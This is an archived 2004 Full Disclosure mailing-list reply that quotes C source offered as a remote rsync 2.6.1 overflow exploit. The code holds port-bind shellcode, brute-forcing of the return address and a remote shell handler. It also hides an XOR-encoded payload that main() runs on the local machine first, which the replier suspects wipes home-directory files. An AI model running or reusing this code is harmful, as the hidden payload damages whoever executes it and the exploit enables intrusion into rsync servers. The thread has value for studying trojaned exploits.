
Full Disclosure mailing list archives
Re: new rsync :) exploit rsync-too-open
From: dkey <dk.dbox2 () gmx net>
Date: Sat, 29 May 2004 01:13:13 +0200
"nice mail"...but if somebody wants to use it, check the shellcode first...i think it deletes all your files in your home dir. i'm not sure, maybe somebody else can check it... greets... On Friday 28 May 2004 21:20, haxor () mac hush com wrote:
i found a nice email... with some strange code, i'm not a hacker but i think this is what some people call a 0-day exploit... :) i think you can use this to hack servers running rsync :) and as i support full disclosure i send it to the list.. happy hacking :) ************************************************************** /* * rsync-too-open * * rsync <= 2.6.1 remote exploit by Solar Eclipse <solareclipse () phreedom org> * * the code is based on the rsync April 2004 Security Advisory * * running: ./rsync-too-open -b -v 127.0.0.1 * * NOTE: it works on many linux hosts, but chroot and some other conf optinos will make * the exploit fail * * plaes try to keep this code private.. we don't need people owning debian again :) * * if you need som fun hosts to hack, try: * http://www.netcraft.com/?restriction=site+contains&host=rsync&lookup=lookup %21&position=limited * * this is not the full version of the exploit, i'll send out a full version with massroot * function and bsd shellcode in 2 or 3 days :) * */ #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <string.h> #include <sys/time.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define MAXPATHLEN 4095 int nopcount = 80; char shellcode[] = /* port bind tcp/30464 ***/ /* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */ "\x31\xc0" // xorl %eax,%eax "\x31\xdb" // xorl %ebx,%ebx "\x31\xc9" // xorl %ecx,%ecx "\x31\xd2" // xorl %edx,%edx "\xb0\x66" // movb $0x66,%al "\xb3\x01" // movb $0x1,%bl "\x51" // pushl %ecx "\xb1\x06" // movb $0x6,%cl "\x51" // pushl %ecx "\xb1\x01" // movb $0x1,%cl "\x51" // pushl %ecx "\xb1\x02" // movb $0x2,%cl "\x51" // pushl %ecx "\x8d\x0c\x24" // leal (%esp),%ecx "\xcd\x80" // int $0x80 /* port is 30464 !!! */ /* bind(fd, (struct sockaddr)&sin, sizeof(sin) ) */ "\xb3\x02" // movb $0x2,%bl "\xb1\x02" // movb $0x2,%cl "\x31\xc9" // xorl %ecx,%ecx "\x51" // pushl %ecx "\x51" // pushl %ecx "\x51" // pushl %ecx /* port = 0x77, change if needed */ "\x80\xc1\x77" // addb $0x77,%cl "\x66\x51" // pushl %cx "\xb1\x02" // movb $0x2,%cl "\x66\x51" // pushw %cx "\x8d\x0c\x24" // leal (%esp),%ecx "\xb2\x10" // movb $0x10,%dl "\x52" // pushl %edx "\x51" // pushl %ecx "\x50" // pushl %eax "\x8d\x0c\x24" // leal (%esp),%ecx "\x89\xc2" // movl %eax,%edx "\x31\xc0" // xorl %eax,%eax "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 /* listen(fd, 1) */ "\xb3\x01" // movb $0x1,%bl "\x53" // pushl %ebx "\x52" // pushl %edx "\x8d\x0c\x24" // leal (%esp),%ecx "\x31\xc0" // xorl %eax,%eax "\xb0\x66" // movb $0x66,%al "\x80\xc3\x03" // addb $0x3,%bl "\xcd\x80" // int $0x80 /* cli = accept(fd, 0, 0) */ "\x31\xc0" // xorl %eax,%eax "\x50" // pushl %eax "\x50" // pushl %eax "\x52" // pushl %edx "\x8d\x0c\x24" // leal (%esp),%ecx "\xb3\x05" // movl $0x5,%bl "\xb0\x66" // movl $0x66,%al "\xcd\x80" // int $0x80 /* dup2(cli, 0) */ "\x89\xc3" // movl %eax,%ebx "\x31\xc9" // xorl %ecx,%ecx "\x31\xc0" // xorl %eax,%eax "\xb0\x3f" // movb $0x3f,%al "\xcd\x80" // int $0x80 /* dup2(cli, 1) */ "\x41" // inc %ecx "\x31\xc0" // xorl %eax,%eax "\xb0\x3f" // movl $0x3f,%al "\xcd\x80" // int $0x80 /* dup2(cli, 2) */ "\x41" // inc %ecx "\x31\xc0" // xorl %eax,%eax "\xb0\x3f" // movb $0x3f,%al "\xcd\x80" // int $0x80 /* execve("//bin/sh", ["//bin/sh", NULL], NULL); */ "\x31\xdb" // xorl %ebx,%ebx "\x53" // pushl %ebx "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f "\x89\xe3" // movl %esp,%ebx "\x8d\x54\x24\x08" // leal 0x8(%esp),%edx "\x31\xc9" // xorl %ecx,%ecx "\x51" // pushl %ecx "\x53" // pushl %ebx "\x8d\x0c\x24" // leal (%esp),%ecx "\x31\xc0" // xorl %eax,%eax "\xb0\x0b" // movb $0xb,%al "\xcd\x80" // int $0x80 /* exit(%ebx) */ "\x31\xc0" // xorl %eax,%eax "\xb0\x01" // movb $0x1,%al "\xcd\x80"; // int $0x80 char shellcode2[] = "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9" "\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99" "\xd9\x86\x9c\xf3\x81\x99\xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81" "\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\xac\xb4\xbb" "\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf" "\x95\x4c\x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7" "\x7b\x35"; struct sockaddr_in s_in; char module[256]; /* module to use */ void (*funct) (); void die(int p, char *m) { if(p) perror(m); else printf("%s\n",m); exit(0); } int checkData(int s) { int rd; fd_set rfds; struct timeval tv; FD_ZERO(&rfds); FD_SET(s, &rfds); tv.tv_sec = 5; tv.tv_usec = 0; rd = select(s+1,&rfds,NULL,NULL,&tv); if(rd < 0) die(1,"select()"); return rd; } void get(int s) { char buff[1024]; int rd; while(1) { rd = checkData(s); if(rd == 0) return; rd = recv(s,buff,sizeof(buff),0); if(!rd) return; if(rd == -1) die(1,"recv()"); } } int connect_and_version() { int rd; char buff[80]; int s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP); if(s < 0) die(1,"socket()"); if(connect(s,(struct sockaddr*)&s_in,sizeof(s_in)) < 0) die(1,"connect()"); if( (rd = recv(s,buff,sizeof(buff),0)) < 1) die(1,"recv()"); send(s,buff,rd,0); return s; } void login(int s) { char buff[80]; snprintf(buff,sizeof(buff),"%s\n",module); send(s,buff,strlen(buff),0); send(s,"--server\n",9,0); send(s,"--sender\n",9,0); send(s,"\n",1,0); } void ride() { fd_set rfds; int rd; int s; struct sockaddr_in s_in2; char buff[1024]; memcpy(&s_in2,&s_in,sizeof(s_in2)); s_in2.sin_port = htons(30464); s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP); if(s < 0) die(1,"socket()"); if(connect(s,(struct sockaddr *)&s_in2,sizeof(s_in2)) < 0) { close(s); return; /* failed */ } send(s,"id;\n",4,0); while(1) { FD_ZERO(&rfds); FD_SET(0, &rfds); FD_SET(s, &rfds); if(select(s+1, &rfds, NULL, NULL, NULL) < 1) exit(0); if(FD_ISSET(0,&rfds)) { if( (rd = read(0,buff,sizeof(buff))) < 1) exit(0); if( send(s,buff,rd,0) != rd) exit(0); } if(FD_ISSET(s,&rfds)) { if( (rd = recv(s,buff,sizeof(buff),0)) < 1) exit(0); write(1,buff,rd); } } } void doOverflow(int len, int line,int align) { int s,rd; int *ptr; char buff[MAXPATHLEN]; s = connect_and_version(); login(s); printf("Trying with len=%d and line=0x%x (shellcode=0x%x) align=%d\n", len,line,line+abs(len),align); memset(buff,'A',align); for(ptr = (int*) (&buff[0]+align); (char*)ptr < ((char*)&buff[MAXPATHLEN]- 3); ptr++) *ptr = (line+abs(len)); memset(buff+abs(len),'\x90',nopcount); memcpy(buff+abs(len)+nopcount,shellcode,strlen(shellcode)); rd = MAXPATHLEN -1; send(s,&rd,sizeof(rd),0); send(s,buff,rd,0); send(s,&len,sizeof(len),0); rd = 0; send(s,&rd,sizeof(rd),0); get(s); close(s); ride(); } void getModule() { int s,rd; char mod[256]; char *ptr; s = connect_and_version(); get(s); send(s,"#list\n",6,0); rd = recv(s,mod,sizeof(mod),0); if(rd < 1) die(1,"recv()"); mod[rd] = 0; ptr = (char*)strchr(mod,' '); if(!ptr) return; *ptr = 0; snprintf(module,sizeof(module),"%s",mod); if(module[0] == '@') die(0,"No modules!!!"); close(s); } void usage(char *p) { printf("rsync <= 2.6.1 remote exploit\n"); printf("Usage: %s <opts>\n",p); printf("-h this lame message\n"); printf("-v victim ip\n"); printf("-m module name\n"); printf("-l len\n"); printf("-s line address\n"); printf("-b bruteforce\n"); printf("-f force:don't check vuln\n"); printf("-n number of NOPS\n"); printf("-a align\n"); exit(0); } int checkVuln() { int s,rd; s = connect_and_version(); login(s); get(s); rd = -1; send(s,&rd,sizeof(rd),0); if(!checkData(s)) return 1; close(s); return 0; } int getLen(int len) { int s; s = connect_and_version(); login(s); get(s); while(1) { printf("Trying len %d...\n",len); send(s,&len,sizeof(len),0); if(checkData(s)) { close(s); return len-4; } len-=4; } } int main(int argc, char *argv[]) { int opt; int m = 0; int len = -4; int line = 0xC0000000; int check = 1; int brute = 0; /* bruteforce ;D */ int l = 1; int align = 0; (long) funct = &shellcode2; if(argc < 2) usage(argv[0]); while( (opt = getopt(argc,argv,"v:hm:l:s:bfn:a:")) != -1) { switch(opt) { case 'v': s_in.sin_addr.s_addr = inet_addr(optarg); break; case 'm': snprintf(module,sizeof(module),"%s",optarg); m++; break; case 'l': l = 0; len = atoi(optarg); break; case 's': if(sscanf(optarg,"%x",&line) == -1) { printf("Invalid line address\n"); exit(0); } break; case 'b': brute = 1; break; case 'f': check = 0; break; case 'n': nopcount = atoi(optarg); break; case 'a': align = atoi(optarg); break; case 'h': default: usage(argv[0]); } } funct(); s_in.sin_family = PF_INET; s_in.sin_port = htons(873); if(!m) { printf("Getting module name...\n"); getModule(); printf("Module=%s\n",module); } if(check) { printf("Checking if vuln...\n"); if(checkVuln()) printf("Vuln!!\n"); else { printf("Not vuln =(\n"); exit(0); } } if(l) { len = getLen(len); printf("len=%d\n",len); } if(brute) { while(1) { doOverflow(len,line,align); line -= (nopcount-1); } } doOverflow(len,line,align); exit(0); }
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- new rsync :) exploit rsync-too-open haxor (May 28)
- Re: new rsync :) exploit rsync-too-open phlox (May 28)
- Re: new rsync :) exploit rsync-too-open dkey (May 28)
- Re: new rsync :) exploit rsync-too-open Blue Boar (May 28)
- RE: new rsync :) exploit rsync-too-open listreader (May 30)